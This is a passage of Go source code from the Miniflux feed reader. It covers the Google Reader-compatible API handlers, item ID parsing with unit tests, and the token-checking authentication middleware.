err := h.store.Categories(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresult.Tags = make([]subscriptionCategoryResponse, 0, 1+len(categories))\n\tresult.Tags = append(result.Tags, subscriptionCategoryResponse{\n\t\tID: fmt.Sprintf(userStreamPrefix, userID) + starredStreamSuffix,\n\t})\n\tlabelPrefix := fmt.Sprintf(userLabelPrefix, userID)\n\tfor _, category := range categories {\n\t\tresult.Tags = append(result.Tags, subscriptionCategoryResponse{\n\t\t\tID:    labelPrefix + category.Title,\n\t\t\tLabel: category.Title,\n\t\t\tType:  \"folder\",\n\t\t})\n\t}\n\tresponse.JSON(w, r, result)\n}\n\nfunc (h *greaderHandler) subscriptionListHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /subscription/list\",\n\t\tslog.String(\"handler\", \"subscriptionListHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tif err := checkOutputFormat(r); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tvar result subscriptionsResponse\n\tfeeds, err := h.store.Feeds(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tlabelPrefix := fmt.Sprintf(userLabelPrefix, userID)\n\tresult.Subscriptions = make([]subscriptionResponse, 0, len(feeds))\n\tfor _, feed := range feeds {\n\t\tresult.Subscriptions = append(result.Subscriptions, subscriptionResponse{\n\t\t\tID:         feedPrefix + strconv.FormatInt(feed.ID, 10),\n\t\t\tTitle:      feed.Title,\n\t\t\tURL:        feed.FeedURL,\n\t\t\tCategories: []subscriptionCategoryResponse{{labelPrefix + feed.Category.Title, feed.Category.Title, \"folder\"}},\n\t\t\tHTMLURL:    feed.SiteURL,\n\t\t\tIconURL:    h.feedIconURL(feed),\n\t\t})\n\t}\n\tresponse.JSON(w, r, result)\n}\n\nfunc (h *greaderHandler) fallbackHandler(w http.ResponseWriter, r *http.Request) {\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] API endpoint not implemented yet\",\n\t\tslog.Any(\"url\", r.RequestURI),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tresponse.JSON(w, r, []string{})\n}\n\nfunc (h *greaderHandler) userInfoHandler(w http.ResponseWriter, r *http.Request) {\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /user-info\",\n\t\tslog.String(\"handler\", \"userInfoHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuserInfo := userInfoResponse{UserID: strconv.FormatInt(user.ID, 10), UserName: user.Username, UserProfileID: strconv.FormatInt(user.ID, 10), UserEmail: user.Username}\n\tresponse.JSON(w, r, userInfo)\n}\n\nfunc (h *greaderHandler) streamItemIDsHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /stream/items/ids\",\n\t\tslog.String(\"handler\", \"streamItemIDsHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tif err := checkOutputFormat(r); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\trm, err := parseStreamFilterFromRequest(r)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Debug(\"[GoogleReader] Request Modifiers\",\n\t\tslog.String(\"handler\", \"streamItemIDsHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Any(\"modifiers\", rm),\n\t)\n\n\tif len(rm.Streams) != 1 {\n\t\tresponse.JSONServerError(w, r, errors.New(\"googlereader: only one stream type expected\"))\n\t\treturn\n\t}\n\tswitch rm.Streams[0].Type {\n\tcase ReadingListStream:\n\t\th.handleReadingListStreamHandler(w, r, rm)\n\tcase StarredStream:\n\t\th.handleStarredStreamHandler(w, r, rm)\n\tcase ReadStream:\n\t\th.handleReadStreamHandler(w, r, rm)\n\tcase FeedStream:\n\t\th.handleFeedStreamHandler(w, r, rm)\n\tdefault:\n\t\tslog.Warn(\"[GoogleReader] Unknown Stream\",\n\t\t\tslog.String(\"handler\", \"streamItemIDsHandler\"),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.Any(\"stream_type\", rm.Streams[0].Type),\n\t\t)\n\t\tresponse.JSONServerError(w, r, fmt.Errorf(\"googlereader: unknown stream type %s\", rm.Streams[0].Type))\n\t}\n}\n\nfunc (h *greaderHandler) handleReadingListStreamHandler(w http.ResponseWriter, r *http.Request, rm requestModifiers) {\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle ReadingListStream\",\n\t\tslog.String(\"handler\", \"handleReadingListStreamHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tbuilder := h.store.NewEntryQueryBuilder(rm.UserID)\n\tfor _, s := range rm.ExcludeTargets {\n\t\tswitch s.Type {\n\t\tcase ReadStream:\n\t\t\tbuilder.WithStatus(model.EntryStatusUnread)\n\t\tdefault:\n\t\t\tslog.Warn(\"[GoogleReader] Unknown ExcludeTargets filter type\",\n\t\t\t\tslog.String(\"handler\", \"handleReadingListStreamHandler\"),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.Int(\"filter_type\", int(s.Type)),\n\t\t\t)\n\t\t}\n\t}\n\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithLimit(rm.Count)\n\tbuilder.WithOffset(rm.Offset)\n\tbuilder.WithSorting(model.DefaultSortingOrder, rm.SortDirection)\n\tif rm.StartTime > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(rm.StartTime, 0))\n\t}\n\tif rm.StopTime > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(rm.StopTime, 0))\n\t}\n\n\titemRefs, continuation, err := getItemRefsAndContinuation(*builder, rm)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, streamIDResponse{itemRefs, continuation})\n}\n\nfunc (h *greaderHandler) handleStarredStreamHandler(w http.ResponseWriter, r *http.Request, rm requestModifiers) {\n\tbuilder := h.store.NewEntryQueryBuilder(rm.UserID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithStarred(true)\n\tbuilder.WithLimit(rm.Count)\n\tbuilder.WithOffset(rm.Offset)\n\tbuilder.WithSorting(model.DefaultSortingOrder, rm.SortDirection)\n\tif rm.StartTime > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(rm.StartTime, 0))\n\t}\n\tif rm.StopTime > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(rm.StopTime, 0))\n\t}\n\titemRefs, continuation, err := getItemRefsAndContinuation(*builder, rm)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, streamIDResponse{itemRefs, continuation})\n}\n\nfunc (h *greaderHandler) handleReadStreamHandler(w http.ResponseWriter, r *http.Request, rm requestModifiers) {\n\tbuilder := h.store.NewEntryQueryBuilder(rm.UserID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithStatus(model.EntryStatusRead)\n\tbuilder.WithLimit(rm.Count)\n\tbuilder.WithOffset(rm.Offset)\n\tbuilder.WithSorting(model.DefaultSortingOrder, rm.SortDirection)\n\tif rm.StartTime > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(rm.StartTime, 0))\n\t}\n\tif rm.StopTime > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(rm.StopTime, 0))\n\t}\n\n\titemRefs, continuation, err := getItemRefsAndContinuation(*builder, rm)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, streamIDResponse{itemRefs, continuation})\n}\n\nfunc getItemRefsAndContinuation(builder storage.EntryQueryBuilder, rm requestModifiers) ([]itemRef, int, error) {\n\trawEntryIDs, err := builder.GetEntryIDs()\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tvar itemRefs = make([]itemRef, 0, len(rawEntryIDs))\n\tfor _, entryID := range rawEntryIDs {\n\t\tformattedID := strconv.FormatInt(entryID, 10)\n\t\titemRefs = append(itemRefs, itemRef{ID: formattedID})\n\t}\n\n\ttotalEntries, err := builder.CountEntries()\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tcontinuation := 0\n\tif len(itemRefs)+rm.Offset < totalEntries {\n\t\tcontinuation = len(itemRefs) + rm.Offset\n\t}\n\treturn itemRefs, continuation, nil\n}\n\nfunc (h *greaderHandler) handleFeedStreamHandler(w http.ResponseWriter, r *http.Request, rm requestModifiers) {\n\tfeedID, err := strconv.ParseInt(rm.Streams[0].ID, 10, 64)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(rm.UserID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithFeedID(feedID)\n\tbuilder.WithLimit(rm.Count)\n\tbuilder.WithOffset(rm.Offset)\n\tbuilder.WithSorting(model.DefaultSortingOrder, rm.SortDirection)\n\n\tif rm.StartTime > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(rm.StartTime, 0))\n\t}\n\n\tif rm.StopTime > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(rm.StopTime, 0))\n\t}\n\n\tif len(rm.ExcludeTargets) > 0 {\n\t\tfor _, s := range rm.ExcludeTargets {\n\t\t\tif s.Type == ReadStream {\n\t\t\t\tbuilder.WithoutStatus(model.EntryStatusRead)\n\t\t\t}\n\t\t}\n\t}\n\titemRefs, continuation, err := getItemRefsAndContinuation(*builder, rm)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.JSON(w, r, streamIDResponse{itemRefs, continuation})\n}\n\nfunc (h *greaderHandler) markAllAsReadHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tclientIP := request.ClientIP(r)\n\n\tslog.Debug(\"[GoogleReader] Handle /mark-all-as-read\",\n\t\tslog.String(\"handler\", \"markAllAsReadHandler\"),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t)\n\n\tif err := r.ParseForm(); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tstream, err := getStream(r.Form.Get(paramStreamID), userID)\n\tif err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tvar before time.Time\n\tif timestampParamValue := r.Form.Get(paramTimestamp); timestampParamValue != \"\" {\n\t\ttimestampParsedValue, err := strconv.ParseInt(timestampParamValue, 10, 64)\n\t\tif err != nil {\n\t\t\tresponse.JSONBadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif timestampParsedValue > 0 {\n\t\t\t// It's unclear if the timestamp is in seconds or microseconds, so we try both using a naive approach.\n\t\t\tif len(timestampParamValue) >= 16 {\n\t\t\t\tbefore = time.UnixMicro(timestampParsedValue)\n\t\t\t} else {\n\t\t\t\tbefore = time.Unix(timestampParsedValue, 0)\n\t\t\t}\n\t\t}\n\t}\n\n\tif before.IsZero() {\n\t\tbefore = time.Now()\n\t}\n\n\tswitch stream.Type {\n\tcase FeedStream:\n\t\tfeedID, err := strconv.ParseInt(stream.ID, 10, 64)\n\t\tif err != nil {\n\t\t\tresponse.JSONBadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t\terr = h.store.MarkFeedAsRead(userID, feedID, before)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\tcase LabelStream:\n\t\tcategory, err := h.store.CategoryByTitle(userID, stream.ID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tif category == nil {\n\t\t\tresponse.JSONNotFound(w, r)\n\t\t\treturn\n\t\t}\n\t\tif err := h.store.MarkCategoryAsRead(userID, category.ID, before); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\tcase ReadingListStream:\n\t\tif err = h.store.MarkAllAsReadBeforeDate(userID, before); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tresponse.Text(w, r, \"OK\")\n}\n\nfunc checkAndSimplifyTags(addTags []Stream, removeTags []Stream) (map[StreamType]bool, error) {\n\ttags := make(map[StreamType]bool)\n\tfor _, s := range addTags {\n\t\tswitch s.Type {\n\t\tcase ReadStream:\n\t\t\tif _, ok := tags[KeptUnreadStream]; ok {\n\t\t\t\treturn nil, errSimultaneously\n\t\t\t}\n\t\t\ttags[ReadStream] = true\n\t\tcase KeptUnreadStream:\n\t\t\tif _, ok := tags[ReadStream]; ok {\n\t\t\t\treturn nil, errSimultaneously\n\t\t\t}\n\t\t\ttags[ReadStream] = false\n\t\tcase StarredStream:\n\t\t\ttags[StarredStream] = true\n\t\tcase BroadcastStream, LikeStream:\n\t\t\tslog.Debug(\"Broadcast & Like tags are not implemented!\")\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"googlereader: unsupported tag type: %s\", s.Type)\n\t\t}\n\t}\n\tfor _, s := range removeTags {\n\t\tswitch s.Type {\n\t\tcase ReadStream:\n\t\t\tif _, ok := tags[ReadStream]; ok {\n\t\t\t\treturn nil, errSimultaneously\n\t\t\t}\n\t\t\ttags[ReadStream] = false\n\t\tcase KeptUnreadStream:\n\t\t\tif _, ok := tags[ReadStream]; ok {\n\t\t\t\treturn nil, errSimultaneously\n\t\t\t}\n\t\t\ttags[ReadStream] = true\n\t\tcase StarredStream:\n\t\t\tif _, ok := tags[StarredStream]; ok {\n\t\t\t\treturn nil, fmt.Errorf(\"googlereader: %s should not be supplied for add and remove simultaneously\", starredStreamSuffix)\n\t\t\t}\n\t\t\ttags[StarredStream] = false\n\t\tcase BroadcastStream, LikeStream:\n\t\t\tslog.Debug(\"Broadcast & Like tags are not implemented!\")\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"googlereader: unsupported tag type: %s\", s.Type)\n\t\t}\n\t}\n\n\treturn tags, nil\n}\n\nfunc checkOutputFormat(r *http.Request) error {\n\tvar output string\n\tif r.Method == http.MethodPost {\n\t\terr := r.ParseForm()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\toutput = r.Form.Get(\"output\")\n\t} else {\n\t\toutput = request.QueryStringParam(r, \"output\", \"\")\n\t}\n\tif output != \"json\" {\n\t\treturn errors.New(\"googlereader: only json output is supported\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "internal/googlereader/item.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nconst (\n\tItemIDPrefix = \"tag:google.com,2005:reader/item/\"\n\tItemIDFormat = \"tag:google.com,2005:reader/item/%016x\"\n)\n\nfunc convertEntryIDToLongFormItemID(entryID int64) string {\n\t// The entry ID is a 64-bit integer, so we need to format it as a 16-character hexadecimal string.\n\treturn fmt.Sprintf(ItemIDFormat, entryID)\n}\n\n// Expected format: \"tag:google.com,2005:reader/item/00000000148b9369\" (hexadecimal string with prefix and padding)\n// NetNewsWire uses this format: \"tag:google.com,2005:reader/item/2f2\" (hexadecimal string with prefix and no padding)\n// Reeder uses this format: \"000000000000048c\" (hexadecimal string without prefix and padding)\n// Liferea uses this format: \"12345\" (decimal string)\n// It returns the parsed ID as a int64 and an error if parsing fails.\nfunc parseItemID(itemIDValue string) (int64, error) {\n\tvar itemID int64\n\tif strings.HasPrefix(itemIDValue, ItemIDPrefix) {\n\t\tn, err := fmt.Sscanf(itemIDValue, ItemIDFormat, &itemID)\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"failed to parse hexadecimal item ID %s: %w\", itemIDValue, err)\n\t\t}\n\t\tif n != 1 {\n\t\t\treturn 0, fmt.Errorf(\"failed to parse hexadecimal item ID %s: expected 1 value, got %d\", itemIDValue, n)\n\t\t}\n\t\tif itemID == 0 {\n\t\t\treturn 0, fmt.Errorf(\"failed to parse hexadecimal item ID %s: item ID is zero\", itemIDValue)\n\t\t}\n\t\treturn itemID, nil\n\t}\n\n\tif len(itemIDValue) == 16 {\n\t\tif n, err := fmt.Sscanf(itemIDValue, \"%016x\", &itemID); err == nil && n == 1 {\n\t\t\treturn itemID, nil\n\t\t}\n\t}\n\n\titemID, err := strconv.ParseInt(itemIDValue, 10, 64)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"failed to parse decimal item ID %s: %w\", itemIDValue, err)\n\t}\n\n\treturn itemID, nil\n}\n\nfunc parseItemIDsFromRequest(r *http.Request) ([]int64, error) {\n\titems := r.Form[paramItemIDs]\n\tif len(items) == 0 {\n\t\treturn nil, errors.New(\"googlereader: no items requested\")\n\t}\n\n\titemIDs := make([]int64, len(items))\n\tfor i, item := range items {\n\t\titemID, err := parseItemID(item)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"googlereader: failed to parse item ID %s: %w\", item, err)\n\t\t}\n\t\titemIDs[i] = itemID\n\t}\n\n\treturn itemIDs, nil\n}\n"
  },
  {
    "path": "internal/googlereader/item_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestConvertEntryIDToLongFormItemID(t *testing.T) {\n\tentryID := int64(344691561)\n\texpected := \"tag:google.com,2005:reader/item/00000000148b9369\"\n\tresult := convertEntryIDToLongFormItemID(entryID)\n\n\tif result != expected {\n\t\tt.Errorf(\"expected %s, got %s\", expected, result)\n\t}\n}\n\nfunc TestParseItemIDsFromRequest(t *testing.T) {\n\tformValues := url.Values{}\n\tformValues.Add(\"i\", \"12345\")\n\tformValues.Add(\"i\", \"tag:google.com,2005:reader/item/00000000148b9369\")\n\tformValues.Add(\"i\", \"tag:google.com,2005:reader/item/2f2\")\n\tformValues.Add(\"i\", \"000000000000046f\")\n\tformValues.Add(\"i\", \"tag:google.com,2005:reader/item/272\")\n\n\trequest := &http.Request{\n\t\tForm: formValues,\n\t}\n\n\tresult, err := parseItemIDsFromRequest(request)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\tvar expected = []int64{12345, 344691561, 754, 1135, 626}\n\tif !reflect.DeepEqual(result, expected) {\n\t\tt.Errorf(\"expected %v, got %v\", expected, result)\n\t}\n\n\t// Test with no item IDs\n\tformValues = url.Values{}\n\trequest = &http.Request{\n\t\tForm: formValues,\n\t}\n\t_, err = parseItemIDsFromRequest(request)\n\tif err == nil {\n\t\tt.Fatalf(\"expected error, got nil\")\n\t}\n}\n\nfunc TestParseItemID(t *testing.T) {\n\t// Test with long form ID and hex ID\n\tresult, err := parseItemID(\"tag:google.com,2005:reader/item/0000000000000001\")\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\texpected := int64(1)\n\tif result != expected {\n\t\tt.Errorf(\"expected %d, got %d\", expected, result)\n\t}\n\n\t// Test with hexadecimal long form ID\n\tresult, err = parseItemID(\"0000000000000468\")\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\texpected = int64(1128)\n\tif result != expected {\n\t\tt.Errorf(\"expected %d, got %d\", expected, result)\n\t}\n\n\t// Test with short form ID\n\tresult, err = parseItemID(\"12345\")\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\texpected = int64(12345)\n\tif result != expected {\n\t\tt.Errorf(\"expected %d, got %d\", expected, result)\n\t}\n\n\t// Test with invalid long form ID\n\t_, err = parseItemID(\"tag:google.com,2005:reader/item/000000000000000g\")\n\tif err == nil {\n\t\tt.Fatalf(\"expected error, got nil\")\n\t}\n\n\t// Test with invalid short form ID\n\t_, err = parseItemID(\"invalid_id\")\n\tif err == nil {\n\t\tt.Fatalf(\"expected error, got nil\")\n\t}\n\n\t// Test with empty ID\n\t_, err = parseItemID(\"\")\n\tif err == nil {\n\t\tt.Fatalf(\"expected error, got nil\")\n\t}\n}\n"
  },
  {
    "path": "internal/googlereader/middleware.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"context\"\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\ntype authMiddleware struct {\n\tstore *storage.Storage\n}\n\nfunc newAuthMiddleware(s *storage.Storage) *authMiddleware {\n\treturn &authMiddleware{s}\n}\n\nfunc (m *authMiddleware) validateApiKey(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := request.ClientIP(r)\n\n\t\tvar token string\n\t\tif r.Method == http.MethodPost {\n\t\t\tif err := r.ParseForm(); err != nil {\n\t\t\t\tslog.Warn(\"[GoogleReader] Could not parse request form data\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\ttoken = r.Form.Get(\"T\")\n\t\t\tif token == \"\" {\n\t\t\t\tslog.Warn(\"[GoogleReader] Post-Form T field is empty\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tauthorization := r.Header.Get(\"Authorization\")\n\n\t\t\tif authorization == \"\" {\n\t\t\t\tslog.Warn(\"[GoogleReader] No token provided\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfields := strings.Fields(authorization)\n\t\t\tif len(fields) != 2 {\n\t\t\t\tslog.Warn(\"[GoogleReader] Authorization header does not have the expected GoogleLogin format auth=xxxxxx\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif fields[0] != \"GoogleLogin\" {\n\t\t\t\tslog.Warn(\"[GoogleReader] Authorization header does not begin with GoogleLogin\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tauths := strings.Split(fields[1], \"=\")\n\t\t\tif len(auths) != 2 {\n\t\t\t\tslog.Warn(\"[GoogleReader] Authorization header does not have the expected GoogleLogin format auth=xxxxxx\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif auths[0] != \"auth\" {\n\t\t\t\tslog.Warn(\"[GoogleReader] Authorization header does not have the expected GoogleLogin format auth=xxxxxx\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttoken = auths[1]\n\t\t}\n\n\t\tparts := strings.Split(token, \"/\")\n\t\tif len(parts) != 2 {\n\t\t\tslog.Warn(\"[GoogleReader] Auth token does not have the expected structure username/hash\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.String(\"token\", token),\n\t\t\t)\n\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\treturn\n\t\t}\n\t\tvar integration *model.Integration\n\t\tvar user *model.User\n\t\tvar err error\n\t\tif integration, err = m.store.GoogleReaderUserGetIntegration(parts[0]); err != nil {\n\t\t\tslog.Warn(\"[GoogleReader] No user found with the given Google Reader username\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\treturn\n\t\t}\n\t\texpectedToken := getAuthToken(integration.GoogleReaderUsername, integration.GoogleReaderPassword)\n\t\tif expectedToken != token {\n\t\t\tslog.Warn(\"[GoogleReader] Token does not match\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t)\n\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\treturn\n\t\t}\n\t\tif user, err = m.store.UserByID(integration.UserID); err != nil {\n\t\t\tslog.Error(\"[GoogleReader] Unable to fetch user from database\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tif user == nil {\n\t\t\tslog.Warn(\"[GoogleReader] No user found with the given Google Reader credentials\",\n\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t)\n\t\t\tsendUnauthorizedResponse(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tm.store.SetLastLogin(integration.UserID)\n\n\t\tctx := r.Context()\n\t\tctx = context.WithValue(ctx, request.UserIDContextKey, user.ID)\n\t\tctx = context.WithValue(ctx, request.UserNameContextKey, user.Username)\n\t\tctx = context.WithValue(ctx, request.UserTimezoneContextKey, user.Timezone)\n\t\tctx = context.WithValue(ctx, request.IsAdminUserContextKey, user.IsAdmin)\n\t\tctx = context.WithValue(ctx, request.IsAuthenticatedContextKey, true)\n\t\tctx = context.WithValue(ctx, request.GoogleReaderTokenKey, token)\n\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n\nfunc getAuthToken(username, password string) string {\n\ttoken := hex.EncodeToString(hmac.New(sha1.New, []byte(username+password)).Sum(nil))\n\ttoken = username + \"/\" + token\n\treturn token\n}\n"
  },
  {
    "path": "internal/googlereader/parameters.go",
